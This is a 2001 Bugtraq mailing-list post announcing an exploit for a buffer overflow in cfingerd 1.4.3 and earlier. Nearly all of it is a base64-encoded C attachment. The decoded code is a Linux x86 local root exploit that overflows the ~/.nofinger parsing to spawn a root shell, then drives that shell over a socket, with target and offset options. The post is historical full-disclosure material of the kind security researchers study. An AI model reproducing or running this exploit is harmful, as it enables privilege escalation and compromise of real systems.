|
Date: Wed, 11 Jul 2001 09:24:42 +0200 (CEST) From: qitest1 <qitest1@cercaband.com> To: bugtraq@securityfocus.com Subject: Exploit for cfingerd 1.4.3 and prior --8323328-1796612692-994836282=:1032 Content-Type: TEXT/PLAIN; charset=US-ASCII hi, this is a simple code for exploiting the cfingerd 1.4.3 and prior vuln recently posted by Steven Van Acker <deepstar@ulyssis.org>, which may lead to a local root compromise. Read the comments in the code for more detailed info. bye -- /* qitest1 http://qitest1.cjb.net * * ``Ut tensio, sic vis. 69 tecum sis.'' * * main(){if(unsatisfied == 69) try_come(in);} */ --8323328-1796612692-994836282=:1032 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="cfingerd0x69.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.LNX.4.21.0107110924420.1032@localhost.localdomain> Content-Description: Content-Disposition: attachment; filename="cfingerd0x69.c" LyoNCiAqIGNmaW5nZXJkIDEuNC4zIGFuZCBwcmlvciBMaW51eCB4ODYgbG9j YWwgcm9vdCBleHBsb2l0DQogKiBieSBxaXRlc3QxIDEwLzA3LzIwMDENCiAq DQogKiBUaGlzIGNvZGUgc3VjY2Vzc2Z1bGx5IGV4cGxvaXRzIHRoZSBib2Yg dnVsbmVyYWJpbGl0eSBmb3VuZCBieQ0KICogU3RldmVuIFZhbiBBY2tlciA8 ZGVlcHN0YXJAdWx5c3Npcy5vcmc+IGFuZCByZWNlbnRseSBwb3N0ZWQgdG8N CiAqIGJ1Z3RyYXEuIElmIHRoZSBBTExPV19MSU5FX1BBUlNJTkcgb3B0aW9u IGlzIHNldCwgYW5kIGl0IGlzIHNldA0KICogYnkgZGVmYXVsdCwgdGhlIGJv ZiBzaW1wbHkgb2NjdXJzIHdoZW4gcmVhZGluZyB0aGUgfi8ubm9maW5nZXIN CiAqIGZpbGUuIElmIGNmaW5nZXJkIGlzIGNhbGxlZCBieSBpbmV0ZCBhcyBy b290LCBhIHJvb3Qgc2hlbGwgd2lsbCBiZQ0KICogc3Bhd25lZC4gQnV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ICAgICAgICBuOw0KICBjaGFyICAgICAgICAgICAgcmVjdmJ1ZlsxMDI0XSwg KmNtZCA9ICJpZDsgdW5hbWUgLWFcbiI7DQogIGZkX3NldCAgICAgICAgICBy c2V0Ow0KDQogIHNlbmQoc29jaywgY21kLCBzdHJsZW4oY21kKSwgMCk7DQoN CiAgd2hpbGUgKDEpDQogICAgew0KICAgICAgRkRfWkVSTygmcnNldCk7DQog ICAgICBGRF9TRVQoc29jaywgJnJzZXQpOw0KICAgICAgRkRfU0VUKFNURElO X0ZJTEVOTywgJnJzZXQpOw0KICAgICAgc2VsZWN0KHNvY2srMSwgJnJzZXQs IE5VTEwsIE5VTEwsIE5VTEwpOw0KICAgICAgaWYoRkRfSVNTRVQoc29jaywg JnJzZXQpKQ0KICAgICAgICB7DQogICAgICAgICAgbiA9IHJlYWQoc29jaywg cmVjdmJ1ZiwgMTAyNCk7DQogICAgICAgICAgaWYgKG4gPD0gMCkNCiAgICAg ICAgICAgIHsNCiAgICAgICAgICAgICAgcHJpbnRmKCJDb25uZWN0aW9uIGNs b3NlZCBieSBmb3JlaWduIGhvc3QuXG4iKTsNCiAgICAgICAgICAgICAgZXhp dCgwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICByZWN2YnVmW25dID0g MDsNCiAgICAgICAgICBwcmludGYoIiVzIiwgcmVjdmJ1Zik7DQogICAgICAg IH0NCiAgICAgIGlmIChGRF9JU1NFVChTVERJTl9GSUxFTk8sICZyc2V0KSkN CiAgICAgICAgew0KICAgICAgICAgIG4gPSByZWFkKFNURElOX0ZJTEVOTywg cmVjdmJ1ZiwgMTAyNCk7DQogICAgICAgICAgaWYgKG4gPiAwKQ0KICAgICAg ICAgICAgew0KICAgICAgICAgICAgICByZWN2YnVmW25dID0gMDsNCiAgICAg ICAgICAgICAgd3JpdGUoc29jaywgcmVjdmJ1Ziwgbik7DQogICAgICAgICAg ICB9DQogICAgICAgIH0NCiAgICB9DQogIHJldHVybjsNCn0NCg0Kdm9pZA0K dXNhZ2UoY2hhciAqcHJvZ25hbWUpDQp7DQogIGludCAgaSA9IDA7DQogIA0K ICBwcmludGYoIlVzYWdlOiAlcyBbb3B0aW9uc11cbiIsIHByb2duYW1lKTsN CiAgcHJpbnRmKCJPcHRpb25zOlxuIg0KICAgICAgICAgIiAgLXQgdGFyZ2V0 XG4iDQogICAgICAgICAiICAtbyBvZmZzZXRcbiINCgkgIiAgLWggKGhlbHAp XG4iDQogICAgICAgICAiQXZhaWxhYmxlIHRhcmdldHM6XG4iKTsNCiAgd2hp bGUodGFyZ2V0W2ldLmRlZiAhPSA2OSkNCiAgICAgICAgeyANCiAgICAgICAg ICBwcmludGYoIiAgJWQpICVzXG4iLCB0YXJnZXRbaV0uZGVmLCB0YXJnZXRb aV0uZGVzY3IpOw0KICAgICAgICAgIGkrKzsNCiAgICAgICAgfSANCg0KICBl eGl0KDEpOw0KfQ0K --8323328-1796612692-994836282=:1032--
|